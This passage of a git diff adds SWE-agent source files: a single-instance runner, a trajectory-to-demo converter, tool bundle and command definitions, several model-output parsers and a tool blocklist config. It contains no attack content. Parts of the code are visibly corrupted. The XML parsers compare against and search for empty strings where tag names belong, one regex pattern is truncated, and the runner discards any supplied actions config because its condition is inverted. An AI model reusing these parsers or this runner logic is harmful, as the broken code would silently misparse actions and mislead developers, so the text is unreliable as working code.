_log_filename_template = f"{instance_id}.{{level}}.log" + for level in ["trace", "debug", "info"]: + add_file_handler( + output_dir / instance_id / _log_filename_template.format(level=level), + level=level, + id_=f"{instance_id}-{level}", + ) + self.env = env + self.agent = agent + self.output_dir = output_dir + self._hooks = [] + if actions is not None: + actions = RunSingleActionConfig() + self.actions = actions + self._chooks = CombinedRunHooks() + self.problem_statement = problem_statement + for hook in hooks or []: + self.add_hook(hook) + + @property + def hooks(self) -> list[RunHook]: + return self._chooks.hooks + + @classmethod + def from_config(cls, config: RunSingleConfig) -> Self: + load_environment_variables(config.env_var_path) + config.set_default_output_dir() + config.output_dir.mkdir(parents=True, exist_ok=True) + agent = get_agent_from_config(config.agent) + agent.replay_config = config # type: ignore[attr-defined] + self = cls( + env=SWEEnv.from_config(config.env), + agent=agent, + problem_statement=config.problem_statement, + output_dir=config.output_dir, + actions=config.actions, + ) + self.add_hook(SaveApplyPatchHook(apply_patch_locally=config.actions.apply_patch_locally)) + if config.actions.open_pr: + self.logger.debug("Adding OpenPRHook") + self.add_hook(OpenPRHook(config.actions.pr_config)) + return self + + def add_hook(self, hook: RunHook) -> None: + hook.on_init(run=self) + self._chooks.add_hook(hook) + + def run(self): + self._chooks.on_start() + self.logger.info("Starting environment") + self.env.start() + self.logger.info("Running agent") + self._chooks.on_instance_start(index=0, env=self.env, problem_statement=self.problem_statement) + output_dir = self.output_dir / self.problem_statement.id + output_dir.mkdir(parents=True, exist_ok=True) + if self.agent.replay_config is not None: # type: ignore[attr-defined] + (output_dir / "config.yaml").write_text(yaml.dump(self.agent.replay_config.model_dump_json(), indent=2)) # type: ignore[attr-defined] + result = self.agent.run( + problem_statement=self.problem_statement, + env=self.env, + output_dir=output_dir, + ) + self._chooks.on_instance_completed(result=result) + self.logger.info("Done") + self._chooks.on_end() + save_predictions(self.output_dir, self.problem_statement.id, result) + self.env.close() + + +def run_from_config(config: RunSingleConfig): + RunSingle.from_config(config).run() + + +def run_from_cli(args: list[str] | None = None): + if args is None: + args = sys.argv[1:] + assert __doc__ is not None + help_text = ( # type: ignore + __doc__ + "\n[cyan][bold]=== ALL THE OPTIONS ===[/bold][/cyan]\n\n" + ConfigHelper().get_help(RunSingleConfig) + ) + run_from_config(BasicCLI(RunSingleConfig, help_text=help_text).get_config(args)) # type: ignore + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/run/run_traj_to_demo.py b/sweagent/run/run_traj_to_demo.py new file mode 100644 index 0000000..f9cc5c1 --- /dev/null +++ b/sweagent/run/run_traj_to_demo.py @@ -0,0 +1,85 @@ +"""Convert a trajectory file to a yaml file for editing of demos. +You can then load the yaml file with `run_replay.py` to replay the actions in an environment to get +environment output. +""" + +from __future__ import annotations + +import json +from argparse import ArgumentParser +from pathlib import Path + +from sweagent.utils.log import get_logger +from sweagent.utils.serialization import _yaml_serialization_with_linebreaks + +logger = get_logger("traj2demo") + +DEMO_COMMENT = """# This is a demo file generated from trajectory file: +# {traj_path} +# You can use this demo file to replay the actions in the trajectory with run_replay.py. +# You can edit the content of the actions in this file to modify the replay behavior. +# NOTICE: +# Only the actions of the assistant will be replayed. +# You do not need to modify the observation's contents or any other fields. +# You can add or remove actions to modify the replay behavior.""" + + +def save_demo(data: str | dict | list, file: Path, traj_path: Path) -> None: + """Save demo data as a yaml file. Takes care of multi-line strings and adds a header.""" + content = _yaml_serialization_with_linebreaks(data) + header = DEMO_COMMENT.format(traj_path=str(traj_path)) + with open(file, "w") as f: + f.write(f"{header}\n{content}") + + +def convert_traj_to_action_demo(traj_path: Path, output_file: Path, include_user: bool = False) -> None: + with open(traj_path) as file: + traj = json.load(file) + replay_config = traj["replay_config"] + if isinstance(traj["replay_config"], str): + replay_config = json.loads(traj["replay_config"]) + history = traj["history"] + + copy_fields = {"content", "role", "tool_calls", "agent", "message_type", "tool_call_ids"} + + admissible_roles = {"assistant", "user", "tool"} if include_user else {"assistant"} + filtered_history = [ + {k: v for k, v in step.items() if k in copy_fields} + for step in history + if step["role"] in admissible_roles + and step.get("agent", "main") in {"main", "primary"} + and not step.get("is_demo") + ] + + output_data = {"history": filtered_history, "replay_config": replay_config} + save_demo(output_data, output_file, traj_path) + logger.info(f"Saved demo to {output_file}") + + +def main(traj_path: Path, output_dir: Path, suffix: str = "", overwrite: bool = False, include_user: bool = False): + output_file = output_dir / (traj_path.parent.name + suffix) / (traj_path.stem.removesuffix(".traj") + ".demo.yaml") + if output_file.exists() and not overwrite: + msg = f"Output file already exists: {output_file}. Use --overwrite to overwrite." + raise FileExistsError(msg) + output_file.parent.mkdir(parents=True, exist_ok=True) + convert_traj_to_action_demo(traj_path, output_file, include_user) + + +def run_from_cli(args: list[str] | None = None): + """Convert a trajectory file to a demo file.""" + parser = ArgumentParser(description=__doc__) + parser.add_argument("traj_path", type=Path, help="Path to trajectory file") + parser.add_argument("--output_dir", type=Path, help="Output directory for action demos", default=Path("./demos")) + parser.add_argument("--suffix", type=str, help="Suffix for the output file", default="") + parser.add_argument("--overwrite", help="Overwrite existing files", action="store_true") + parser.add_argument( + "--include_user", + help="Include user responses (computer)", + action="store_true", + ) + parsed_args = parser.parse_args(args) + main(**vars(parsed_args)) + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/tools/__init__.py b/sweagent/tools/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/tools/bundle.py b/sweagent/tools/bundle.py new file mode 100644 index 0000000..d0da6a8 --- /dev/null +++ b/sweagent/tools/bundle.py @@ -0,0 +1,57 @@ +from __future__ import annotations + +from pathlib import Path + +import yaml +from pydantic import BaseModel, Field, PrivateAttr, model_validator + +from sweagent.tools.commands import Command +from sweagent.utils.config import _convert_path_to_abspath + + +class BundleConfig(BaseModel): + tools: dict[str, dict] + state_command: str | None = None + + +class Bundle(BaseModel): + path: Path + hidden_tools: list[str] = Field(default_factory=list) + _config: BundleConfig = PrivateAttr(default=None) + + @model_validator(mode="after") + def validate_tools(self): + self.path = _convert_path_to_abspath(self.path) + if not self.path.exists(): + msg = f"Bundle path '{self.path}' does not exist." + raise ValueError(msg) + + config_path = self.path / "config.yaml" + if not config_path.exists(): + msg = f"Bundle config file '{config_path}' does not exist." + raise ValueError(msg) + + config_data = yaml.safe_load(config_path.read_text()) + self._config = BundleConfig(**config_data) + + invalid_hidden_tools = set(self.hidden_tools) - set(self._config.tools.keys()) + if invalid_hidden_tools: + msg = f"Hidden tools {invalid_hidden_tools} do not exist in available tools" + raise ValueError(msg) + return self + + @property + def state_command(self) -> str | None: + return self.config.state_command + + @property + def config(self) -> BundleConfig: + return self._config + + @property + def commands(self) -> list[Command]: + return [ + Command(name=tool, **tool_config.model_dump() if isinstance(tool_config, Command) else tool_config) + for tool, tool_config in self.config.tools.items() + if tool not in self.hidden_tools + ] diff --git a/sweagent/tools/commands.py b/sweagent/tools/commands.py new file mode 100644 index 0000000..e744452 --- /dev/null +++ b/sweagent/tools/commands.py @@ -0,0 +1,223 @@ +""" +Core module for defining and parsing commands in the SWE Agent system. + +This module provides the foundational classes and utilities for defining commands that can be executed by the agent. +It is used extensively by: + +- tools.py: For command installation, execution and environment management +- parsing.py: For parsing model outputs into executable commands +- utils.py: For handling multi-line commands and argument quoting + +Key Classes: +- Command: Represents an executable command with arguments and documentation +- Argument: Defines an argument that can be passed to a command + +The module supports both simple bash commands and complex multi-line commands with typed arguments. +Commands can be defined either in bash scripts with YAML docstrings or as bash functions. +""" + +from __future__ import annotations + +import re +import string +from collections import Counter +from functools import cached_property + +from pydantic import BaseModel, field_validator, model_validator + +from sweagent.utils.jinja_warnings import _warn_probably_wrong_jinja_syntax + +ARGUMENT_NAME_PATTERN = r"[a-zA-Z_][a-zA-Z0-9_-]*" + + +def _extract_keys(format_string: str) -> set[str]: + """Given a format string, returns a set of all the keys in the format string. + + Used for validating that command signatures match their argument definitions. + + Args: + format_string: A Python format string containing named fields + + Returns: + Set of field names found in the format string + """ + formatter = string.Formatter() + keys = set() + for _, field_name, _, _ in formatter.parse(format_string): + if field_name is not None: + keys.add(field_name) + return keys + + +class Argument(BaseModel): + f"""Defines an argument that can be passed to a command. + + Attributes: + name: The argument name, must match {ARGUMENT_NAME_PATTERN!r} + type: The argument type (e.g. "string", "integer") + description: Human readable description of the argument + required: Whether this argument must be provided + enum: Optional list of allowed values + argument_format: Format string for how to render the argument value in the command + """ + + name: str + type: str + items: dict[str, str] | None = None + description: str + required: bool + enum: list[str] | None = None + argument_format: str = "{{value}}" + """How to invoke the argument in the command. Make sure to use jinja syntax ({{value}}) instead of {value}).""" + + @field_validator("argument_format") + def validate_argument_format(cls, value: str) -> str: + _warn_probably_wrong_jinja_syntax(value) + return value + + +class Command(BaseModel): + """Represents an executable command with arguments and documentation. + + A command can be either a simple bash command or a multi-line command terminated by an end marker. + + Attributes: + name: The command name + docstring: Human readable description of what the command does + signature: Optional custom signature override + end_name: For multi-line commands, the terminating marker + arguments: List of arguments accepted by the command + + Properties: + invoke_format: Format string for constructing the full command invocation + """ + + name: str + docstring: str | None + signature: str | None = None + # if there is an end_name, then it is a multi-line command + end_name: str | None = None + arguments: list[Argument] = [] + + @cached_property + def invoke_format(self) -> str: + """Gets the format string for invoking this command with arguments. + + Returns either the custom signature with argument placeholders replaced, + or a default format of "command arg1 arg2 ...". + """ + if self.signature: + # First validate that all arguments are present in the original signature + for arg in self.arguments: + if not ( + f"<{arg.name}>" in self.signature + or f"[<{arg.name}>]" in self.signature + or f"{{{arg.name}}}" in self.signature + or f"--{arg.name}" in self.signature + ): + msg = ( + f"Missing argument {arg.name} in signature: {self.signature}. Did you format the signature correctly? " + f"You must include all argument names in the signature with <{arg.name}>, [<{arg.name}>], {{{arg.name}}}, or --{arg.name} notation." + ) + raise ValueError(msg) + + # Then do the replacement + return re.sub(rf"\[?<({ARGUMENT_NAME_PATTERN})>\]?", r"{\1}", self.signature) + else: + # cmd arg_format_1 arg_format_2 ... + _invoke_format = f"{self.name} " + for arg in self.arguments: + _invoke_format += f"{{{arg.name}}} " + return _invoke_format + + def get_function_calling_tool(self) -> dict: + """Converts this command into an OpenAI function calling tool definition. + + Returns: + Dict containing the OpenAI function schema for this command + """ + tool = { + "type": "function", + "function": { + "name": self.name, + "description": self.docstring or "", + }, + } + properties = {} + required = [] + if self.arguments: + for arg in self.arguments: + properties[arg.name] = {"type": arg.type, "description": arg.description} + + if arg.items: + properties[arg.name]["items"] = arg.items + + if arg.required: + required.append(arg.name) + + # Handle enum if present + if arg.enum: + properties[arg.name]["enum"] = arg.enum + if properties: + tool["function"]["parameters"] = {"type": "object", "properties": properties, "required": required} + else: + tool["function"]["parameters"] = {"type": "object"} + return tool + + @model_validator(mode="after") + def validate_arguments(self) -> Command: + """Validates command argument configuration. + + Checks: + - Required arguments come before optional ones + - Argument names are unique + - Argument names match the pattern + - Arguments match the signature + + Returns: + The validated Command instance + + Raises: + ValueError: If validation fails + """ + if not self.arguments: + return self + found_optional = False + for arg in self.arguments: + if found_optional and arg.required: + msg = f"Command '{self.name}': Required argument '{arg.name}' cannot come after optional arguments" + raise ValueError(msg) + if not arg.required: + found_optional = True + + name_counts = Counter(arg.name for arg in self.arguments) + duplicates = {name for name, count in name_counts.items() if count > 1} + if duplicates: + msg = f"Command '{self.name}': Duplicate argument names: {duplicates}" + raise ValueError(msg) + for arg in self.arguments: + if not re.match(ARGUMENT_NAME_PATTERN, arg.name): + msg = f"Command '{self.name}': Invalid argument name: '{arg.name}'" + raise ValueError(msg) + if (invoke_keys := _extract_keys(self.invoke_format)) != {arg.name for arg in self.arguments}: + msg = f"Command '{self.name}': Argument names ({invoke_keys}) in signature / invoke_format {self.invoke_format!r} do not match argument names" + raise ValueError(msg) + return self + + +# Default Bash tool +BASH_COMMAND = Command( + name="bash", + # name="execute_bash", + signature="", + # signature="echo ''\n\necho \"root@workspace:${{PWD}} #\n[Command finished with exit code ${{?}}]\"", + docstring="runs the given command directly in bash", + arguments=[ + Argument( + name="command", + type="string", + description="The bash command to execute.", + required=True, + ) + ], +) diff --git a/sweagent/tools/parsing.py b/sweagent/tools/parsing.py new file mode 100644 index 0000000..d2af956 --- /dev/null +++ b/sweagent/tools/parsing.py @@ -0,0 +1,621 @@ +"""Our parsers parse output from the LM into thoughts and actions. + +For example, our most basic parser is the `ThoughtActionParser`. +It expects the model response to be a discussion followed by a command wrapped in backticks like so: + +``` +Let's look at the files in the current directory. + +Action: + ``` +ls -l + ``` +``` + +For models that support function calling, we instead recommend using the `FunctionCallingParser`. + +To use a specific parser, set the `parse_function` key in your tool config to the `type` field of the parser. + +```yaml +agent: + tools: + ... + parse_function: + type: "thought_action" +``` + +Or from the command line: `--agent.tools.parse_function.type=thought_action`. + +!!! note "Describing available tools" + If you do not use the `FunctionCallingParser`, you need to include documentation about the available tools + in your system prompt. You can use the `{{command_docs}}` variable to include the automatically generated + documentation or explicitly describe the available tools. + Also see [#1130](https://github.com/SWE-agent/SWE-agent/issues/1130). +""" + +import json +import re +import textwrap +from abc import ABC, abstractmethod +from shlex import quote +from textwrap import dedent +from typing import Any, Literal + +from jinja2 import Template +from pydantic import BaseModel + +from sweagent.exceptions import FormatError, FunctionCallingFormatError +from sweagent.tools.commands import Command +from sweagent.tools.utils import _should_quote + + +class AbstractParseFunction(ABC): + """ + Abstract class for parsing functions. + We use get to generate the right parser based on the name of the parser. + """ + + error_message: str + + @abstractmethod + def __call__(self, model_response, commands: list[Command], strict=False) -> tuple[str, str]: + raise NotImplementedError + + @property + def format_error_template(self): + return textwrap.dedent(self.error_message) + + +# DEFINE NEW PARSING FUNCTIONS BELOW THIS LINE + + +class ActionParser(AbstractParseFunction, BaseModel): + """ + Expects the model response to be a single command. + Example: "ls -l" + """ + + error_message: str = """\ + The command you provided was not recognized. Please specify one of the commands (+ any necessary arguments) from the following list in your response. Do not include any other text. + + COMMANDS: + {command_docs} + """ + + type: Literal["action"] = "action" + """Type for (de)serialization. Do not change.""" + + def __call__(self, model_response: dict, commands: list[Command], strict=False): + if model_response["message"].split(): + action = model_response["message"].strip().split()[0] + if action in {command.name for command in commands}: + return model_response["message"], model_response["message"] + msg = "First word in model response is not a valid command." + raise FormatError(msg) + + +class ActionOnlyParser(AbstractParseFunction, BaseModel): + """Expects the model response to be a single command.""" + + error_message: str = "No message found in model response." + + type: Literal["action_only"] = "action_only" + """Type for (de)serialization. Do not change.""" + + def __call__(self, model_response: dict, commands: list[Command], strict=False): + return "", model_response["message"] + + +class ThoughtActionParser(AbstractParseFunction, BaseModel): + """ + Expects the model response to be a discussion followed by a command wrapped in backticks. + Example: + Let's look at the files in the current directory. + ``` + ls -l + ``` + """ + + error_message: str = dedent("""\ + Your output was not formatted correctly. You must always include one discussion and one command as part of your response. Make sure you do not have multiple discussion/command tags. + Please make sure your output precisely matches the following format: + DISCUSSION + Discuss here with yourself about what your planning and what you're going to do in this step. + + ``` + command(s) that you're going to run + ``` + """) + + type: Literal["thought_action"] = "thought_action" + """Type for (de)serialization. Do not change.""" + + def __call__(self, model_response: dict, commands: list[Command], strict=False): + """ + Parses the action from the output of the API call. + We assume that the action is the last code block in the model_response. + We also assume that the action is not nested within another code block. + This is problematic if the model_response includes many unnamed ``` blocks. + For instance: + ``` + This is a code block. + ``` + ``` + This is another code block. + ``` + + In this case, only the second code block will be parsed as the action. + """ + code_block_pat = re.compile(r"^```(\S*)\s*\n|^```\s*$", re.MULTILINE) + stack = [] + last_valid_block = None + for match in code_block_pat.finditer(model_response["message"]): + if stack and not match.group(1): # Closing of a code block + start = stack.pop() + # Check if it's not nested within another block + if not stack: + last_valid_block = (start, match) + elif match.group(1) is not None: # Opening of a code block + stack.append(match) + if last_valid_block: + start, end = last_valid_block + thought = model_response["message"][: start.start()] + model_response["message"][end.end() :] + return thought, model_response["message"][start.end() : end.start()] + msg = "No action found in model response." + raise FormatError(msg) + + +class XMLThoughtActionParser(AbstractParseFunction, BaseModel): + """ + Expects the model response to be a discussion followed by a command wrapped in XML tags. + Example: + Let's look at the files in the current directory. + + ls -l + + """ + + error_message: str = dedent("""\ + Your output was not formatted correctly. You must always include one discussion and one command as part of your response. Make sure you do not have multiple discussion/command tags. + Please make sure your output precisely matches the following format: + """) + + type: Literal["xml_thought_action"] = "xml_thought_action" + """Type for (de)serialization. Do not change.""" + + def __call__(self, model_response: dict, commands: list[Command], strict=False) -> tuple[str, str]: + """ + Parses the action from the output of the API call. + We assume that the action is the last code block in the model_response. + We also assume that the action is not nested within another code block. + This is problematic if the model_response includes many unnamed ``` blocks. + For instance: + + This is a code block. + + + This is another code block. + + + In this case, only the second code block will be parsed as the action. + """ + if "" not in model_response["message"] or "" not in model_response["message"]: + msg = "No action found in model response." + raise FormatError(msg) + # `action` is everything between the last and tags + start_action = model_response["message"].rfind("") + len( + "" + ) # start after the last tag + end_thought = model_response["message"].rfind("") # end before the last tag + end_action = model_response["message"].rfind("") # end before the last tag + restart_thought = model_response["message"].rfind("") + len( + "" + ) # start after the last tag + # `thought` is everything not in between and tags (includes after the last tag) + action = model_response["message"][start_action:end_action] + thought = model_response["message"][:end_thought] + model_response["message"][restart_thought:] + + return thought.strip(), action.strip() + + +FN_REGEX_PATTERN = r"]+)>\n(.*?)" +FN_PARAM_REGEX_PATTERN = r"]+)>(.*?)" + + +class XMLFunctionCallingParser(AbstractParseFunction, BaseModel): + """ + Expects the model response to be a tool calling format, where the command and parameters are specified + in XML tags. + Example: + Let's look at the files in the current directory. + + find /testbed -type f -name "_discovery.py" + + """ + + error_message: str = dedent("""\ + {%- if error_code == "missing" -%} + Your last output did not use any tool calls! + Please make sure your output includes exactly _ONE_ function call! + If you think you have already resolved the issue, please submit your changes by running the `submit` command. + If you think you cannot solve the problem, please run `submit`. + Else, please continue with a new tool call! + {%- elif error_code == "multiple" -%} + Your last output included multiple tool calls! + Please make sure your output includes a thought and exactly _ONE_ function call. + {%- elif error_code == "unexpected_arg" -%} + Your action could not be parsed properly: {{exception_message}}. + Make sure your function call doesn't include any extra arguments that are not in the allowed arguments, and only use the allowed commands. + {%- else -%} + Your action could not be parsed properly: {{exception_message}}. + {% endif %} + """) + + type: Literal["xml_function_calling"] = "xml_function_calling" + + def __call__(self, model_response: dict, commands: list[Command], strict=False) -> tuple[str, str]: + fn_match = re.search(FN_REGEX_PATTERN, model_response["message"], re.DOTALL) + if not fn_match: + msg = "No function found in model response." + raise FormatError(msg) + fn_name = fn_match.group(1).strip() + + # Handle different names in SWE-agent vs. SWE-gym + if fn_name == "execute_bash": + fn_name = "bash" + if fn_name == "finish": + fn_name = "submit" + + fn_body = fn_match.group(2) + thought = model_response["message"][: fn_match.start()] + model_response["message"][fn_match.end() :] + thought = thought.strip() + + commands_dict = {c.name: c for c in commands} + command = commands_dict.get(fn_name) + if not command: + msg = f"Command '{fn_name}' not found in list of available commands." + raise FormatError(msg) + + params_dict = { + param[0]: re.sub(r"^\n|\n$", "", param[1]) + for param in re.findall(FN_PARAM_REGEX_PATTERN, fn_body, re.DOTALL) + } + + if "view_range" in params_dict: + # Check that value is format as [x, y] + v = params_dict["view_range"] + if isinstance(v, str): + if not re.match(r"\[\d+,\s*\d+\]", v): + msg = f"view_range must be in the format [, ], got {v}." + raise FormatError(msg) + params_dict["view_range"] = json.loads(v) + + # Check if all required arguments are there + required_args = {arg.name for arg in command.arguments if arg.required} + missing_args = required_args - params_dict.keys() + if missing_args: + msg = f"Required argument(s) missing: {', '.join(missing_args)}" + raise FormatError(msg) + + # Check if all arguments are valid + valid_args = {arg.name for arg in command.arguments} + extra_args = set(params_dict.keys()) - valid_args + if command.end_name: + # sometimes the model will include the end_name in the arguments - just ignore it + extra_args.discard(command.end_name) + if extra_args: + msg = f"Unexpected argument(s): {', '.join(extra_args)}" + raise FormatError(msg) + + # Format arguments using their individual argument_format + formatted_args = { + arg.name: Template(arg.argument_format).render( + value=quote(params_dict[arg.name]) + if _should_quote(params_dict[arg.name], command) + else params_dict[arg.name] + ) + if arg.name in params_dict + else "" + for arg in command.arguments + } + return thought, command.invoke_format.format(**formatted_args).strip() + + +class EditFormat(ThoughtActionParser, BaseModel): + """ + Expects the model response to be a discussion followed by a command wrapped in backticks. + Example: + We'll replace the contents of the current window with the following: + ``` + import os + os.listdir() + ``` + """ + + error_message: str = dedent("""\ + Your output was not formatted correctly. You must wrap the replacement text in backticks (```). + Please make sure your output precisely matches the following format: + COMMENTS + You can write comments here about what you're going to do if you want. + + ``` + New window contents. + Make sure you copy the entire contents of the window here, with the required indentation. + Make the changes to the window above directly in this window. + Remember that all of the window's contents will be replaced with the contents of this window. + Don't include line numbers in your response. + ``` + """) + + type: Literal["edit_format"] = "edit_format" + """Type for (de)serialization. Do not change.""" + + +class Identity(AbstractParseFunction, BaseModel): + """This parser does not do any parsing. It just returns the model response as both the thought and action.""" + + error_message: str = """\ + It seems like something went wrong with your output. Please try again. + """ + + type: Literal["identity"] = "identity" + """Type for (de)serialization. Do not change.""" + + def __call__(self, model_response: dict, commands: list[Command], strict=False) -> tuple[str, str]: + """ + This doesn't do any parsing. It just returns the model response as the thought and action. + """ + return model_response["message"], model_response["message"] + + +class FunctionCallingParser(AbstractParseFunction, BaseModel): + """Expects the model response to be a LiteLLM tool call.""" + + error_message: str = dedent("""\ + {%- if error_code == "missing" -%} + Your last output did not use any tool calls! + Please make sure your output includes exactly _ONE_ function call! + You must invoke the function directly using the function call format. + You cannot invoke commands with ```, you have to use the function call format. + If you think you have already resolved the issue, please submit your changes by running the `submit` command. + If you think you cannot solve the problem, please run `exit_forfeit` (if available) or `submit`. + Else, please continue with a new tool call! + {%- elif error_code == "multiple" -%} + Your last output included multiple tool calls! + Please make sure your output includes a thought and exactly _ONE_ function call. + {%- elif error_code == "unexpected_arg" -%} + Your action could not be parsed properly: {{exception_message}}. + Make sure your function call doesn't include any extra arguments that are not in the allowed arguments, and only use the allowed commands. + {%- else -%} + Your action could not be parsed properly: {{exception_message}}. + {% endif %} + """) + + type: Literal["function_calling"] = "function_calling" + """Type for (de)serialization. Do not change.""" + + def _parse_tool_call(self, tool_call: dict, commands: list[Command]): + name = tool_call["function"]["name"] + command = {c.name: c for c in commands}.get(name) + if not command: + msg = f"Command '{name}' not found in list of available commands." + raise FunctionCallingFormatError(msg, "invalid_command") + if not isinstance(tool_call["function"]["arguments"], dict): + try: + values = json.loads(tool_call["function"]["arguments"]) + except json.JSONDecodeError: + msg = "Tool call arguments are not valid JSON." + raise FunctionCallingFormatError(msg, "invalid_json") + else: + values = tool_call["function"]["arguments"] + required_args = {arg.name for arg in command.arguments if arg.required} + missing_args = required_args - values.keys() + if missing_args: + msg = f"Required argument(s) missing: {', '.join(missing_args)}" + raise FunctionCallingFormatError(msg, "missing_arg") + valid_args = {arg.name for arg in command.arguments} + extra_args = set(values.keys()) - valid_args + if command.end_name: + # sometimes the model will include the end_name in the arguments - just ignore it + extra_args.discard(command.end_name) + if extra_args: + msg = f"Unexpected argument(s): {', '.join(extra_args)}" + raise FunctionCallingFormatError(msg, "unexpected_arg") + + def get_quoted_arg(value: Any) -> str: + if isinstance(value, str): + return quote(value) if _should_quote(value, command) else value + # See https://github.com/SWE-agent/SWE-agent/issues/1159 + if value is None: + return "" + return value + + formatted_args = { + arg.name: Template(arg.argument_format).render(value=get_quoted_arg(values[arg.name])) + if arg.name in values + else "" + for arg in command.arguments + } + return command.invoke_format.format(**formatted_args).strip() + + def __call__(self, model_response: dict, commands: list[Command], strict=False): + message = model_response["message"] + tool_calls = model_response.get("tool_calls", None) + if tool_calls is None or len(tool_calls) != 1: + num_tools = len(tool_calls) if tool_calls else 0 + msg = ( + f"Expected exactly one tool call in model response - received {num_tools} " + f"tool calls with message: {message}" + ) + error_code = "missing" if num_tools == 0 else "multiple" + raise FunctionCallingFormatError(msg, error_code, num_tools=num_tools) + tool_call = tool_calls[0] + action = self._parse_tool_call(tool_call, commands) + return message, action + + +class JsonParser(AbstractParseFunction, BaseModel): + """Expects the model response to be a JSON object.""" + + error_message: str = dedent("""\ + Your output could not be parsed as JSON. Please make sure your output 1) is valid JSON and + 2) Includes the "thought" and "command" fields. + + """) + + type: Literal["json"] = "json" + """Type for (de)serialization. Do not change.""" + + def __call__(self, model_response: dict, commands: list[Command], strict=False): + """Parses the action from the output of the API call. + We assume that model output is a JSON object with the following fields: + { + "thought": "discussion text here.", + "command": { + "arguments": { + "arg1": "value1", + "arg2": "value2", + ... + }, + "name": "command_name" + } + } + """ + try: + data = json.loads(model_response["message"]) + if not isinstance(data, dict): + msg = "Model output is not a JSON object." + raise FormatError(msg) + + # Check if required keys are present + required_keys = ["thought", "command"] + for key in required_keys: + if key not in data: + msg = f"Key '{key}' is missing from model output." + raise FormatError(msg) + + # Check structure of 'command' key + data_command = data["command"] + if not isinstance(data_command, dict): + msg = "Value of 'command' key is not a JSON object." + raise FormatError(msg) + + # Check if required keys are present in 'command' object + command_keys = ["name"] + for key in command_keys: + if key not in data_command: + msg = f"Key '{key}' is missing from 'command' object." + raise FormatError(msg) + + thought = data["thought"] + commands_dict = {c.name: c for c in commands} + command = commands_dict.get(data_command["name"]) + + # Handle command parsing based on strict mode + if command is None: + if strict: + msg = f"Command '{data_command['name']}' not found in list of available commands." + raise FormatError(msg) + # In non-strict mode, just join command name with argument values + return thought, " ".join([data_command["name"], *data_command.get("arguments", {}).values()]) + + # Format arguments using their individual argument_format + formatted_args = {} + if command.arguments: + for arg in command.arguments: + if arg.name in data_command.get("arguments", {}): + value = data_command["arguments"][arg.name] + if _should_quote(value, command): + value = quote(value) + formatted_args[arg.name] = Template(arg.argument_format).render(value=value) + elif strict and arg.required: + msg = f"Required argument '{arg.name}' missing for command '{command.name}'" + raise FormatError(msg) + + # Use the formatted arguments with invoke_format + action = command.invoke_format.format(**formatted_args).strip() + return thought, action + except json.JSONDecodeError: + msg = "Model output is not valid JSON." + raise FormatError(msg) + + +class BashCodeBlockParser(AbstractParseFunction, BaseModel): + """Executes all commands in ```bash code blocks.""" + + error_message: str = dedent("""\ + No bash code blocks were detected in your output. + You need to include at least one bash code block in your output. + + It must follow this format exactly to be valid: + ```bash + cmd arg1 arg2 ... + ... + + Other types of code blocks (e.g. python, rust, none, etc.) won't be executed. Only bash. + """) + + type: Literal["all_bash_code_blocks"] = "all_bash_code_blocks" + + def __call__(self, model_response: dict, commands: list[Command], strict=False): + """Parses the action from the output of the API call. + We assume that model output is a JSON object with the following fields: + """ + pattern = re.compile(r"```bash\n(.*?)\n```", re.DOTALL) + matches = pattern.findall(model_response["message"]) + if not matches: + msg = "No bash code blocks were detected in your output." + raise FormatError(msg) + thought = pattern.sub("", model_response["message"]) + action = "\n".join(matches) + return thought, action + + +class SingleBashCodeBlockParser(AbstractParseFunction, BaseModel): + """Executes all commands in ```bash code blocks.""" + + error_message: str = dedent("""\ + We did not detect the right number of bash code blocks in your output. + You need to include EXACTLY ONE bash code block in your output. + + It must follow this format exactly to be valid: + ```bash + cmd arg1 arg2 ... + ``` + """) + + type: Literal["single_bash_code_block"] = "single_bash_code_block" + + def __call__(self, model_response: dict, commands: list[Command], strict=False): + """Parses the action from the output of the API call. + We assume that model output is a JSON object with the following fields: + """ + pattern = re.compile(r"```bash\n(.*?)\n```", re.DOTALL) + matches = pattern.findall(model_response["message"]) + if not matches: + msg = "No bash code blocks were detected in your output." + raise FormatError(msg) + if len(matches) > 1: + msg = ( + "We detected multiple bash code blocks in your output. " + "You need to include EXACTLY ONE bash code block in your output." + ) + raise FormatError(msg) + thought = pattern.sub("", model_response["message"]) + action = "\n".join(matches) + return thought, action + + +ParseFunction = ( + ActionParser + | ThoughtActionParser + | ActionOnlyParser + | XMLThoughtActionParser + | XMLFunctionCallingParser + | FunctionCallingParser + | EditFormat + | Identity + | JsonParser + | BashCodeBlockParser + | SingleBashCodeBlockParser +) diff --git a/sweagent/tools/tools.py b/sweagent/tools/tools.py new file mode 100644 index 0000000..13047c5 --- /dev/null +++ b/sweagent/tools/tools.py @@ -0,0 +1,430 @@ +""" +This module contains the configuration for the tools that are made available to the agent. + +The `ToolConfig` class is used to configure the tools that are available to the agent. +The `ToolHandler` class is used to handle the tools that are available to the agent. +""" + +import asyncio +import json +import os +import re +from functools import cached_property +from pathlib import Path +from typing import Any + +from pydantic import BaseModel, Field +from swerex.runtime.abstract import Command as RexCommand +from swerex.runtime.abstract import UploadRequest +from typing_extensions import Self + +from sweagent.environment.swe_env import SWEEnv +from sweagent.tools.bundle import Bundle +from sweagent.tools.commands import BASH_COMMAND, Command +from sweagent.tools.parsing import FunctionCallingParser, JsonParser, ParseFunction +from sweagent.tools.utils import _guard_multiline_input, generate_command_docs +from sweagent.utils.log import get_logger + + +class ToolFilterConfig(BaseModel): + """Filter out commands that are blocked by the environment + (for example interactive commands like `vim`). + """ + + blocklist_error_template: str = "Operation '{{action}}' is not supported by this environment." + """The error template to use when a command is blocked.""" + + blocklist: list[str] = [ + "vim", + "vi", + "emacs", + "nano", + "nohup", + "gdb", + "less", + "tail -f", + "python -m venv", + "make", + ] + """Block any command that starts with one of these""" + + blocklist_standalone: list[str] = [ + "python", + "python3", + "ipython", + "bash", + "sh", + "/bin/bash", + "/bin/sh", + "nohup", + "vi", + "vim", + "emacs", + "nano", + "su", + ] + """Block any command that matches one of these exactly""" + + block_unless_regex: dict[str, str] = { + "radare2": r"\b(?:radare2)\b.*\s+-c\s+.*", + "r2": r"\b(?:radare2)\b.*\s+-c\s+.*", + } + """Block any command that matches one of these names unless it also matches the regex""" + + +class ToolConfig(BaseModel): + """Configuration for the tools that are made available to the agent.""" + + filter: ToolFilterConfig = ToolFilterConfig() + """Filter out commands that are blocked by the environment + (for example interactive commands like `vim`). + """ + + bundles: list[Bundle] = Field(default_factory=list) + """The tool bundles to load.""" + + 